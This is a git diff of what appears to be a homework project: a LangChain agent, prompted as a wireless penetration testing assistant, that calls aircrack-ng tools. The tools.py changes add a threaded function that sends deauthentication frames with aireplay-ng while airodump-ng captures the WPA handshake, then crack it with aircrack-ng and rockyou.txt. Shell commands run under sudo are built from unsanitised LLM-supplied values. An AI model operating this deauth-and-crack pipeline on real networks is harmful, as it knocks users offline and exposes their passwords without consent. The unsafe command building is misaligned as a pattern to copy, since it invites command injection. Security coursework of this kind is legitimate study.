almost works

hw6/app.py

@@ -15,11 +15,12 @@ from langchain.tools import tool
 from tools import (
     get_wireless_interface,
     change_adapter_mode,
-    wifi_network_reconnissance,
+    # wifi_network_reconnissance,
     wifi_encryption_cracking,
-    packet_frame_transmission,
+    # packet_frame_transmission,
-    packet_capture_reconnaissance,
+    # packet_capture_reconnaissance,
-    deauth_and_capture
+    deauth_and_capture,
+    reconnaissance,
 )
 
 from langchain import hub
@@ -45,19 +46,19 @@ tools.extend(
     [
         get_wireless_interface,
         change_adapter_mode,
-        #wifi_network_reconnissance,
+        # wifi_network_reconnissance,
         wifi_encryption_cracking,
-        #packet_frame_transmission,
+        # packet_frame_transmission,
-        packet_capture_reconnaissance,
+        # packet_capture_reconnaissance,
-        deauth_and_capture
+        deauth_and_capture,
+        reconnaissance,
     ]
 )
 base_prompt = hub.pull("langchain-ai/react-agent-template")
 prompt = base_prompt.partial(
     instructions="""
                                 You are a wireless network penetration testing assistant
-                                Answer the user's request by utilizing the available any combinations of tools available including iwconfig, airmon-ng, airodump-ng, and aircrack-ng. 
+                                Answer the user's request by utilizing any combinations of tools available.
-                                
                                 If a tool is not availble to answer the users request, reject the request and provide the reason.
                              
                              """

hw6/tools.py

@@ -1,4 +1,6 @@
+import json
 import subprocess
+import threading
 import requests
 import tempfile
 import zipfile
@@ -21,136 +23,178 @@ shell_tool = ShellTool()
 
 
 class CrackPassword(BaseModel):
-    params: str = Field(
+    json_params: str = Field(
-        description="Should be command line parameters to 'aircrack-ng' to perform some kind of wifi encryption cracking"
+        description="""Should be a string of a json object containing 
+                        'bssid': the bssid of the network to crack. 
+                        'capfile': the path to the capture file containing the handshake. """
     )
 
-    def get_wordlists():
-        directory = "wordlists"
-        # Check if the directory exists
-        if not os.path.exists(directory):
-            raise FileNotFoundError(f"The directory {directory} does not exist.")
-
-        # List all files in the directory
-        files = [
-            file
-            for file in os.listdir(directory)
-            if os.path.isfile(os.path.join(directory, file))
-        ]
-
-        # Check if the list is empty
-        if not files:
-            raise Exception(f"No files found in the directory {directory}.")
-
-        # Return the first file, for the sake of simplicity. TODO: accomodate the possibility of multiple word list files
-        return files[0]
-
 
 @tool(
     "Perform wifi encryption cracking with aircrack-ng",
     args_schema=CrackPassword,
-    return_direct=False,
+    return_direct=True,
 )
-def wifi_encryption_cracking(params: str) -> str:
+def wifi_encryption_cracking(json_params: str) -> str:
-    """Can pass parameters to aircrack-ng to perform wifi encryption cracking"""
+    """Must pass bssid and capfile parameters (as a string containing a json object) to aircrack-ng to perform wifi encryption cracking"""
-    params = params.replace("`", "").replace("\n", "")  # fix buggy input from LLM
+    # params = params.replace("`", "").replace("\n", "")  # fix buggy input from LLM
-    hash = random.getrandbits(16)
+    json_params = json_params.replace("\\", "")
-    res = shell_tool.run({"commands": [f"aircrack-ng {params}"]})
+    json_obj = json.loads(json_params)
+    bssid = json_obj["bssid"]
+    cap = json_obj["capfile"]
+    # wordlist = json_obj["interface"]
+
+    res = shell_tool.run(
+        {
+            "commands": [f"aircrack-ng --bssid {bssid} -w wordlist/rockyou.txt {cap}"]
+        }  # TODO: Abstrace out wordlist - allow custom/multiple wordlist files as long as they sit in the directory
+    )
     return res
 
+
+"""Deauth via combination of airodump and airreplay"""
+
+
 class DeauthAndCapture(BaseModel):
-    bssid: str = Field(
+    json_params: str = Field(
-        description="Should be a BSSID of a wifi AP"
+        description="Should be a string of a json object containing 'bssid', 'channel', client' and 'interface' for the network BSSID, wif channel,  de-auth client target id, and the wireless interface respectively"
     )
-    client: str = Field(description="Should be a MAC of a client connected to the above BSSID, as the target of the de-auth")
 
 
 @tool(
-    "Perform a de-auth and capture for a given wifi BSSID and client",
+    "Perform a de-auth and capture for a given wifi BSSID, channel, and client on the given wireless. All parameters must be identified first. Return the path to the handshake capture pcap file",
     args_schema=DeauthAndCapture,
     return_direct=False,
 )
-def deauth_and_capture(bssid: str, client:str) -> str:
+def deauth_and_capture(json_params: str) -> str:
-    """Can pass bssid and client parameters to aireplay-ng to perform and capture a de-auth"""
+    """Can pass bssid, client, channel, and interface parameters to aireplay-ng to perform and capture a de-auth. All parameters must be identified first"""
-    params = params.replace("`", "").replace("\n", "")  # fix buggy input from LLM
+    json_obj = json.loads(json_params)
-    res = shell_tool.run({"commands": [f"sudo aireplay-ng --deauth 10 -a {bssid} -c {client} wlo1mon"]})
+    bssid = json_obj["bssid"]
-    return res
+    client = json_obj["client"]
+    interface = json_obj["interface"]
+    channel = json_obj["channel"]
+    hash = random.getrandbits(16)
+    out = f"dumps/deauth-capture-{hash}"
 
-class PacketTransmission(BaseModel):
+    # shell_tool.run({"commands": [f"sudo timeout -s SIGKILL 15 airodump-ng --band a --channel {channel} --bssid {bssid} --write {out} {interface}"]})
-    params: str = Field(
+    # shell_tool.run({"commands": [f"sudo aireplay-ng --deauth 10 -a {bssid} -c {client} {interface}"]})
-        description="Should be command line parameters to 'aireplay-ng' to perform some kind of wifi frame or packet transmission"
+
+    def run_airdump(channel, bssid, out, interface):
+        shell_tool.run(
+            {
+                "commands": [
+                    f"sudo timeout -s SIGKILL 15 airodump-ng --band a --channel {channel} --bssid {bssid} --write {out} {interface}"
+                ]
+            }
         )
 
+    def run_aireplay(bssid, client, interface):
+        shell_tool.run(
+            {
+                "commands": [
+                    f"sudo aireplay-ng --deauth 10 -a {bssid} -c {client} {interface}"
+                ]
+            }
+        )
 
-@tool(
+    thread1 = threading.Thread(
-    "Perform packet or wifi frame transmission with aireplay-ng",
+        target=run_airdump, args=(channel, bssid, out, interface)
-    args_schema=PacketTransmission,
+    )
-    return_direct=False,
+    thread2 = threading.Thread(target=run_aireplay, args=(bssid, client, interface))
-)
+
-def packet_frame_transmission(params: str) -> str:
+    thread1.start()
-    """Can pass parameters to aireplay-ng to perform packet or wifi frame transmission"""
+    thread2.start()
-    params = params.replace("`", "").replace("\n", "")  # fix buggy input from LLM
+
-    res = shell_tool.run({"commands": [f"sudo aireplay-ng {params}"]})
+    thread1.join()
-    return res
+    thread2.join()
+
+    return f"dumps/deauth-capture-{hash}-01.cap"  # return path to the handshake capture fil;e
+
+
+# class PacketTransmission(BaseModel):
+#     params: str = Field(
+#         description="Should be command line parameters to 'aireplay-ng' to perform some kind of wifi frame or packet transmission"
+#     )
+
+
+# @tool(
+#     "Perform packet or wifi frame transmission with aireplay-ng",
+#     args_schema=PacketTransmission,
+#     return_direct=False,
+# )
+# def packet_frame_transmission(params: str) -> str:
+#     """Can pass parameters to aireplay-ng to perform packet or wifi frame transmission"""
+#     params = params.replace("`", "").replace("\n", "")  # fix buggy input from LLM
+#     res = shell_tool.run({"commands": [f"sudo aireplay-ng {params}"]})
+#     return res
 
 
 class PacketCapture(BaseModel):
     params: str = Field(
-        description="""Should be command line parameters to 'airodump-ng' to perform some kind of wifi reconnaissance (determine BSSID and channel of a network) or perform packet capture for a specified BSSID and channel.
+        description="Should be the interface name on which to perform reconnaissance, followed by any optional command line flag parameters"
-        Do not pass a -w, --write, or -o parameter, as this is already handled"""
     )
 
 
 @tool(
-    "Perform packet capture or wifi reconnaissance with airodump-ng. Can be used to find confirm a BSSID and channel, or to capture a handshake for a known BSSID and channel",
+    "Perform wifi reconnaissance with airodump-ng. Interface must be in monitor mode before starting",
     args_schema=PacketCapture,
     return_direct=False,
 )
-def packet_capture_reconnaissance(params: str) -> str:
+def reconnaissance(params: str) -> str:
-    """Can pass parameters to airodump-ng to gather information about a BSSID such as the channel, or to capture a handshake for a specified BSSID and channel"""
+    """Use airodump-ng to gather wireless network information. Must take the interface as a parameter and may optionally be followed by command like flag parameters"""
     hash = random.getrandbits(16)
-    params = params.replace("`", "").replace("\n", "")  # fix buggy input from LLM
+    # json_obj = json.loads(json_params)
+    # interface = json_obj["interface"]
+    # params = json_obj["params"]
+    # if params == False:
+    #    params = ""
     res = shell_tool.run(
         {
             "commands": [
-                f"sudo timeout -s SIGKILL 15 airodump-ng --output-format csv --write dumps/dump-{hash} {params} "
+                f"sudo timeout -s SIGKILL 30 airodump-ng --band a --output-format csv --write dumps/dump-{hash} {params} "  # band a for 5Ghz - TODO: make it smart enough to figure out the band you want, or perhaps to ask
             ]
         }
     )
-    fp = open(f"dumps/dump-{hash}-01.csv", "r")
+    try:
-    contents = fp.read()
+        with open(f"dumps/dump-{hash}-01.csv", "r") as file:
-    fp.close()
+            # Read the file or perform other operations
-    return contents
+            content = file.read()
+            file.close()
+            return content
+    except FileNotFoundError | Exception:
+        return "The file does not exist. Ensure interface is in monitor mode before using this tool"
 
 
-class IwScan(BaseModel):
+# class IwScan(BaseModel):
-    interface: str = Field(
+#     interface: str = Field(
-        description="Should be a wireless interface name, used as a paramater to 'iw' to scan for wifi networks"
+#         description="Should be a wireless interface name, used as a paramater to 'iw' to scan for wifi networks"
-    )
+#     )
 
-    # network: str = Field(
+# network: str = Field(
-    #     description="Should be the name or SSID of the wifi network you are interested in"
+#     description="Should be the name or SSID of the wifi network you are interested in"
-    # )
+# )
 
 
-@tool(
+# @tool(
-    "Perform wifi scanning with iw. Requires the adapter be in managed mode. Adepter should be put into managed mode before running this if necessary and the interface name should be that of the managed mode interface",
+#     "Perform wifi scanning with iw. Requires the adapter be in managed mode. Adepter should be put into managed mode before running this if necessary and the interface name should be that of the managed mode interface",
-    args_schema=IwScan,
+#     args_schema=IwScan,
-    return_direct=False,
+#     return_direct=False,
-)
+# )
-def wifi_network_reconnissance(interface: str) -> str:
+# def wifi_network_reconnissance(interface: str) -> str:
-    """Can pass a wireless interface name and wifi network name to return technical information about a wifi network"""
+#     """Can pass a wireless interface name and wifi network name to return technical information about a wifi network"""
-    interface = interface.replace("`", "").replace("\n", "")  # fix buggy input from LLM
+#     interface = interface.replace("`", "").replace("\n", "")  # fix buggy input from LLM
-    res = shell_tool.run(
+#     res = shell_tool.run(
-        {
+#         {
-            "commands": [
+#             "commands": [
-                f"sudo ifconfig {interface} up",
+#                 f"sudo ifconfig {interface} up",
-                "sleep 5",
+#                 "sleep 5",
-                f'sudo iw {interface} scan | grep -B 9 -A 206 "NetSec"',
+#                 f'sudo iw {interface} scan | grep -B 9 -A 206 "NetSec"',
-            ]
+#             ]
-        }
+#         }
-    )  # TODO: fix error when passing network param
+#     )  # TODO: fix error when passing network param
-    return res
+#     return res
+
+"""airmon-ng tool"""
 
 
 class ChangeMonitorMode(BaseModel):
@@ -171,6 +215,9 @@ def change_adapter_mode(params: str) -> str:
     return res
 
 
+"""iwconfig tool"""
+
+
 class Iwconfig(BaseModel):
     params: str = Field(
         description="should be command line parameters to 'iwconfig'. If none are needed, this should be left as an empty string"